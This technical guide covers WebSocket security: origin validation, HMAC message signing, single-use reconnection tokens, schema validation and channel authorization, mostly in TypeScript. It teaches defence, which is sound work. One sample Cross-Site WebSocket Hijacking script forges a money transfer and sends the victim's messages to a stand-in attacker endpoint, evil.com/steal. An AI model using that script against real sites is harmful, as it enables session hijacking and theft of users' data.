WebSocket Security Architecture: Origin Validation, Message Authentication, Connection Hijacking & Secure Protocol Design

Deep dive into WebSocket security mechanisms, covering origin validation internals, message-level authentication, connection hijacking prevention, and patterns for designing secure real-time protocols.

---

WebSocket Security Model

┌─────────────────────────────────────────────────────────────────────────┐
│                    WebSocket vs HTTP Security                            │
└─────────────────────────────────────────────────────────────────────────┘

  HTTP Request:                        WebSocket:
  ─────────────                        ──────────
  • Stateless                          • Stateful (persistent connection)
  • CORS enforced                      • No CORS after upgrade
  • CSRF protection via tokens         • Origin header only protection
  • Each request authenticated         • Single auth at handshake

  WebSocket Handshake:
  ───────────────────
  Client → Server:
  GET /ws HTTP/1.1
  Host: server.example.com
  Upgrade: websocket
  Connection: Upgrade
  Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
  Origin: https://client.example.com    ← CRITICAL: Validate this!
  Sec-WebSocket-Protocol: chat
  Sec-WebSocket-Version: 13

  Server → Client:
  HTTP/1.1 101 Switching Protocols
  Upgrade: websocket
  Connection: Upgrade
  Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

  After Upgrade:
  ──────────────
  • Binary protocol (frames)
  • No more HTTP headers
  • No cookies sent automatically
  • Must implement own auth for messages

---

Origin Validation

The CSWSH Attack (Cross-Site WebSocket Hijacking)

┌─────────────────────────────────────────────────────────────────────────┐
│                    CSWSH Attack Flow                                     │
└─────────────────────────────────────────────────────────────────────────┘

  Similar to CSRF but for WebSocket:

  1. Victim visits evil.com while logged into bank.com
  2. evil.com JavaScript:

     const ws = new WebSocket('wss://bank.com/ws');
     // Browser sends Origin: https://evil.com
     // Browser sends cookies for bank.com!

  3. If server doesn't check Origin:
     - Connection established
     - Attacker can send commands as victim
     - Attacker receives victim's data

  Attack Code on evil.com:
  ─────────────────────────
  <script>
    const ws = new WebSocket('wss://bank.com/api/ws');

    ws.onopen = () => {
      // Send commands as victim
      ws.send(JSON.stringify({ action: 'transfer', to: 'attacker', amount: 10000 }));
    };

    ws.onmessage = (event) => {
      // Exfiltrate victim's data
      fetch('https://evil.com/steal', {
        method: 'POST',
        body: event.data
      });
    };
  </script>

Secure Origin Validation

// Server-side WebSocket origin validation
import { WebSocketServer, WebSocket } from 'ws';
import { IncomingMessage } from 'http';

class SecureWebSocketServer {
  private wss: WebSocketServer;
  private allowedOrigins: Set<string>;

  constructor(options: ServerOptions) {
    this.allowedOrigins = new Set(options.allowedOrigins);

    this.wss = new WebSocketServer({
      noServer: true, // Handle upgrade manually for validation
    });

    this.wss.on('connection', this.handleConnection.bind(this));
  }

  // Handle HTTP upgrade request
  handleUpgrade(request: IncomingMessage, socket: any, head: Buffer): void {
    // 1. Validate Origin header
    const origin = request.headers.origin;

    if (!origin || !this.isValidOrigin(origin)) {
      console.warn('WebSocket connection rejected: invalid origin', { origin });
      socket.write('HTTP/1.1 403 Forbidden\r\n\r\n');
      socket.destroy();
      return;
    }

    // 2. Validate authentication
    const authResult = this.validateAuth(request);
    if (!authResult.valid) {
      socket.write('HTTP/1.1 401 Unauthorized\r\n\r\n');
      socket.destroy();
      return;
    }

    // 3. Complete WebSocket upgrade
    this.wss.handleUpgrade(request, socket, head, (ws) => {
      // Attach user info to connection
      (ws as any).userId = authResult.userId;
      (ws as any).origin = origin;

      this.wss.emit('connection', ws, request);
    });
  }

  private isValidOrigin(origin: string): boolean {
    // Exact match only - no substring matching!
    return this.allowedOrigins.has(origin);
  }

  private validateAuth(request: IncomingMessage): AuthResult {
    // Option 1: Cookie-based (already sent with upgrade request)
    const cookies = this.parseCookies(request.headers.cookie || '');
    const sessionId = cookies['session'];

    if (sessionId) {
      const session = this.getSession(sessionId);
      if (session?.valid) {
        return { valid: true, userId: session.userId };
      }
    }

    // Option 2: Token in query string (for initial auth)
    const url = new URL(request.url!, `http://${request.headers.host}`);
    const token = url.searchParams.get('token');

    if (token) {
      const tokenData = this.validateToken(token);
      if (tokenData?.valid) {
        return { valid: true, userId: tokenData.userId };
      }
    }

    // Option 3: Sec-WebSocket-Protocol for token (subprotocol hack)
    const protocols = request.headers['sec-websocket-protocol'];
    if (protocols) {
      const [protocolName, token] = protocols.split(', ');
      if (protocolName === 'auth' && token) {
        const tokenData = this.validateToken(token);
        if (tokenData?.valid) {
          return { valid: true, userId: tokenData.userId };
        }
      }
    }

    return { valid: false };
  }

  private handleConnection(ws: WebSocket, request: IncomingMessage): void {
    const userId = (ws as any).userId;

    console.log('WebSocket connected', { userId });

    ws.on('message', (data) => {
      this.handleMessage(ws, userId, data);
    });

    ws.on('close', () => {
      console.log('WebSocket disconnected', { userId });
    });
  }
}

---

Message Authentication

Per-Message Authentication

// After handshake, authenticate each message
interface AuthenticatedMessage {
  type: string;
  payload: unknown;
  timestamp: number;
  nonce: string;
  signature: string;
}

class MessageAuthenticator {
  private secretKey: CryptoKey;
  private nonceCache = new Map<string, number>();

  async signMessage(message: Omit<AuthenticatedMessage, 'signature'>): Promise<AuthenticatedMessage> {
    const dataToSign = JSON.stringify({
      type: message.type,
      payload: message.payload,
      timestamp: message.timestamp,
      nonce: message.nonce,
    });

    const encoder = new TextEncoder();
    const signature = await crypto.subtle.sign(
      'HMAC',
      this.secretKey,
      encoder.encode(dataToSign)
    );

    return {
      ...message,
      signature: this.arrayBufferToBase64(signature),
    };
  }

  async verifyMessage(message: AuthenticatedMessage): Promise<VerifyResult> {
    // 1. Check timestamp (prevent replay of old messages)
    const age = Date.now() - message.timestamp;
    if (age < -30000 || age > 30000) { // 30 second window
      return { valid: false, error: 'Message timestamp out of range' };
    }

    // 2. Check nonce uniqueness (prevent replay within window)
    if (this.nonceCache.has(message.nonce)) {
      return { valid: false, error: 'Nonce already used' };
    }
    this.nonceCache.set(message.nonce, message.timestamp);
    this.cleanupNonces();

    // 3. Verify signature
    const dataToVerify = JSON.stringify({
      type: message.type,
      payload: message.payload,
      timestamp: message.timestamp,
      nonce: message.nonce,
    });

    const encoder = new TextEncoder();
    const signatureBuffer = this.base64ToArrayBuffer(message.signature);

    const valid = await crypto.subtle.verify(
      'HMAC',
      this.secretKey,
      signatureBuffer,
      encoder.encode(dataToVerify)
    );

    if (!valid) {
      return { valid: false, error: 'Invalid signature' };
    }

    return { valid: true };
  }

  private cleanupNonces(): void {
    const cutoff = Date.now() - 60000;
    for (const [nonce, timestamp] of this.nonceCache) {
      if (timestamp < cutoff) {
        this.nonceCache.delete(nonce);
      }
    }
  }
}

// Connection with message authentication
class AuthenticatedWebSocket {
  private ws: WebSocket;
  private authenticator: MessageAuthenticator;

  async send(type: string, payload: unknown): Promise<void> {
    const message = await this.authenticator.signMessage({
      type,
      payload,
      timestamp: Date.now(),
      nonce: crypto.randomUUID(),
    });

    this.ws.send(JSON.stringify(message));
  }

  private async handleMessage(data: string): Promise<void> {
    const message = JSON.parse(data) as AuthenticatedMessage;

    const result = await this.authenticator.verifyMessage(message);
    if (!result.valid) {
      console.error('Message authentication failed:', result.error);
      return;
    }

    // Process authenticated message
    this.emit(message.type, message.payload);
  }
}

---

Connection Hijacking Prevention

┌─────────────────────────────────────────────────────────────────────────┐
│                    Connection Hijacking Vectors                          │
└─────────────────────────────────────────────────────────────────────────┘

  Vector 1: Session Stealing
  ──────────────────────────
  Attacker obtains session token → Connects as victim

  Defense:
  • Bind connection to IP/fingerprint
  • Require re-authentication periodically
  • Use connection-specific tokens

  Vector 2: Man-in-the-Middle
  ───────────────────────────
  Attacker intercepts unencrypted connection

  Defense:
  • Always use WSS (TLS)
  • Implement certificate pinning
  • Use message-level encryption for sensitive data

  Vector 3: Reconnection Hijacking
  ────────────────────────────────
  Attacker uses victim's reconnection token

  Defense:
  • Single-use reconnection tokens
  • Bind tokens to connection metadata
  • Short token expiration

Secure Reconnection Protocol

// Secure reconnection with single-use tokens
class SecureReconnection {
  private reconnectionTokens = new Map<string, ReconnectionData>();
  private readonly TOKEN_LIFETIME = 5 * 60 * 1000; // 5 minutes

  // Issue reconnection token when client disconnects gracefully
  issueReconnectionToken(connectionId: string, userId: string, metadata: ConnectionMetadata): string {
    const token = crypto.randomUUID();

    this.reconnectionTokens.set(token, {
      connectionId,
      userId,
      metadata,
      issuedAt: Date.now(),
      used: false,
    });

    // Auto-cleanup after expiration
    setTimeout(() => {
      this.reconnectionTokens.delete(token);
    }, this.TOKEN_LIFETIME);

    return token;
  }

  // Validate reconnection token
  validateReconnection(token: string, request: IncomingMessage): ReconnectionResult {
    const data = this.reconnectionTokens.get(token);

    if (!data) {
      return { valid: false, error: 'Invalid or expired token' };
    }

    // Check if already used (single-use)
    if (data.used) {
      // Potential attack! Revoke all tokens for this user
      this.revokeAllUserTokens(data.userId);
      return { valid: false, error: 'Token already used - potential attack' };
    }

    // Check expiration
    if (Date.now() - data.issuedAt > this.TOKEN_LIFETIME) {
      this.reconnectionTokens.delete(token);
      return { valid: false, error: 'Token expired' };
    }

    // Validate connection metadata matches
    const currentMetadata = this.extractMetadata(request);
    if (!this.metadataMatches(data.metadata, currentMetadata)) {
      return { valid: false, error: 'Connection metadata mismatch' };
    }

    // Mark as used and allow reconnection
    data.used = true;

    return {
      valid: true,
      connectionId: data.connectionId,
      userId: data.userId,
    };
  }

  private extractMetadata(request: IncomingMessage): ConnectionMetadata {
    return {
      userAgent: request.headers['user-agent'] || '',
      ip: this.getClientIP(request),
      // Add more fingerprinting as needed
    };
  }

  private metadataMatches(stored: ConnectionMetadata, current: ConnectionMetadata): boolean {
    // Strict matching for security
    return stored.userAgent === current.userAgent &&
           stored.ip === current.ip;
  }

  private revokeAllUserTokens(userId: string): void {
    for (const [token, data] of this.reconnectionTokens) {
      if (data.userId === userId) {
        this.reconnectionTokens.delete(token);
      }
    }
    console.warn('Revoked all reconnection tokens for user due to potential attack', { userId });
  }
}

---

Secure Protocol Design

Message Schema & Validation

// Type-safe WebSocket protocol
type ClientMessage =
  | { type: 'SUBSCRIBE'; channel: string }
  | { type: 'UNSUBSCRIBE'; channel: string }
  | { type: 'MESSAGE'; channel: string; content: string }
  | { type: 'PING' };

type ServerMessage =
  | { type: 'SUBSCRIBED'; channel: string }
  | { type: 'UNSUBSCRIBED'; channel: string }
  | { type: 'MESSAGE'; channel: string; content: string; from: string }
  | { type: 'ERROR'; code: string; message: string }
  | { type: 'PONG' };

// Schema validation with Zod
import { z } from 'zod';

const ClientMessageSchema = z.discriminatedUnion('type', [
  z.object({
    type: z.literal('SUBSCRIBE'),
    channel: z.string().min(1).max(100).regex(/^[a-zA-Z0-9_-]+$/),
  }),
  z.object({
    type: z.literal('UNSUBSCRIBE'),
    channel: z.string().min(1).max(100),
  }),
  z.object({
    type: z.literal('MESSAGE'),
    channel: z.string().min(1).max(100),
    content: z.string().min(1).max(10000),
  }),
  z.object({
    type: z.literal('PING'),
  }),
]);

class SecureProtocolHandler {
  private readonly MAX_MESSAGE_SIZE = 64 * 1024; // 64KB
  private readonly RATE_LIMIT = 100; // messages per second
  private messageCounts = new Map<string, number>();

  handleMessage(ws: WebSocket, userId: string, rawData: string): void {
    // 1. Size check
    if (rawData.length > this.MAX_MESSAGE_SIZE) {
      this.sendError(ws, 'MESSAGE_TOO_LARGE', 'Message exceeds size limit');
      return;
    }

    // 2. Rate limiting per connection
    if (!this.checkRateLimit(userId)) {
      this.sendError(ws, 'RATE_LIMITED', 'Too many messages');
      return;
    }

    // 3. JSON parsing (with error handling)
    let parsed: unknown;
    try {
      parsed = JSON.parse(rawData);
    } catch {
      this.sendError(ws, 'INVALID_JSON', 'Message is not valid JSON');
      return;
    }

    // 4. Schema validation
    const result = ClientMessageSchema.safeParse(parsed);
    if (!result.success) {
      this.sendError(ws, 'INVALID_MESSAGE', result.error.message);
      return;
    }

    const message = result.data;

    // 5. Authorization check
    if (!this.isAuthorized(userId, message)) {
      this.sendError(ws, 'UNAUTHORIZED', 'Not authorized for this action');
      return;
    }

    // 6. Process validated message
    this.processMessage(ws, userId, message);
  }

  private isAuthorized(userId: string, message: ClientMessage): boolean {
    switch (message.type) {
      case 'SUBSCRIBE':
        return this.canSubscribe(userId, message.channel);
      case 'MESSAGE':
        return this.canPublish(userId, message.channel);
      default:
        return true;
    }
  }

  private checkRateLimit(userId: string): boolean {
    const count = this.messageCounts.get(userId) || 0;
    if (count >= this.RATE_LIMIT) {
      return false;
    }
    this.messageCounts.set(userId, count + 1);
    return true;
  }

  // Reset rate limits every second
  startRateLimitReset(): void {
    setInterval(() => {
      this.messageCounts.clear();
    }, 1000);
  }
}

Channel Authorization

// Fine-grained channel authorization
class ChannelAuthorization {
  private channelPatterns: ChannelPattern[] = [
    {
      pattern: /^public\./,
      canSubscribe: () => true,
      canPublish: () => false,
    },
    {
      pattern: /^private\.user\.(\w+)$/,
      canSubscribe: (userId, match) => userId === match[1],
      canPublish: (userId, match) => userId === match[1],
    },
    {
      pattern: /^room\.(\w+)$/,
      canSubscribe: async (userId, match) => {
        return this.isRoomMember(userId, match[1]);
      },
      canPublish: async (userId, match) => {
        return this.isRoomMember(userId, match[1]);
      },
    },
    {
      pattern: /^presence\.(\w+)$/,
      canSubscribe: async (userId, match) => {
        return this.isRoomMember(userId, match[1]);
      },
      canPublish: () => false, // System-only channel
    },
  ];

  async canSubscribe(userId: string, channel: string): Promise<boolean> {
    for (const pattern of this.channelPatterns) {
      const match = channel.match(pattern.pattern);
      if (match) {
        return pattern.canSubscribe(userId, match);
      }
    }
    return false; // Deny by default
  }

  async canPublish(userId: string, channel: string): Promise<boolean> {
    for (const pattern of this.channelPatterns) {
      const match = channel.match(pattern.pattern);
      if (match) {
        return pattern.canPublish(userId, match);
      }
    }
    return false; // Deny by default
  }
}

---

Secure WebSocket Checklist

┌─────────────────────────────────────────────────────────────────────────┐
│                    WebSocket Security Checklist                          │
└─────────────────────────────────────────────────────────────────────────┘

  Handshake:
  ──────────
  □ Validate Origin header against whitelist
  □ Authenticate before completing upgrade
  □ Use WSS (TLS) in production
  □ Set secure cookie flags if using cookies

  Messages:
  ─────────
  □ Validate message size limits
  □ Parse JSON safely (try/catch)
  □ Validate message schema (Zod/Joi)
  □ Implement rate limiting per connection
  □ Authorize each action/channel

  Connection:
  ───────────
  □ Implement heartbeat/ping-pong
  □ Handle disconnections gracefully
  □ Use single-use reconnection tokens
  □ Bind sessions to connection metadata
  □ Timeout idle connections

  Protocol:
  ─────────
  □ Define strict message types
  □ Version your protocol
  □ Log security-relevant events
  □ Implement message authentication for sensitive ops

---

Key Takeaways

1. Always Validate Origin: Unlike CORS, WebSocket relies solely on server-side Origin header validation. Missing this enables CSWSH attacks.

2. WSS Required: Always use wss:// in production. WebSocket traffic is not encrypted by default.

3. Per-Message Authorization: Handshake auth is not enough. Validate permissions for each message/action.

4. Rate Limiting: Implement per-connection rate limits. WebSocket connections can flood servers easily.

5. Schema Validation: Validate all message structures before processing. Never trust client input.

6. Reconnection Security: Use single-use, short-lived reconnection tokens. Detect and alert on token reuse.

7. Channel Authorization: Implement fine-grained channel permissions. Deny unknown channels by default.

8. Size Limits: Enforce maximum message sizes to prevent memory exhaustion attacks.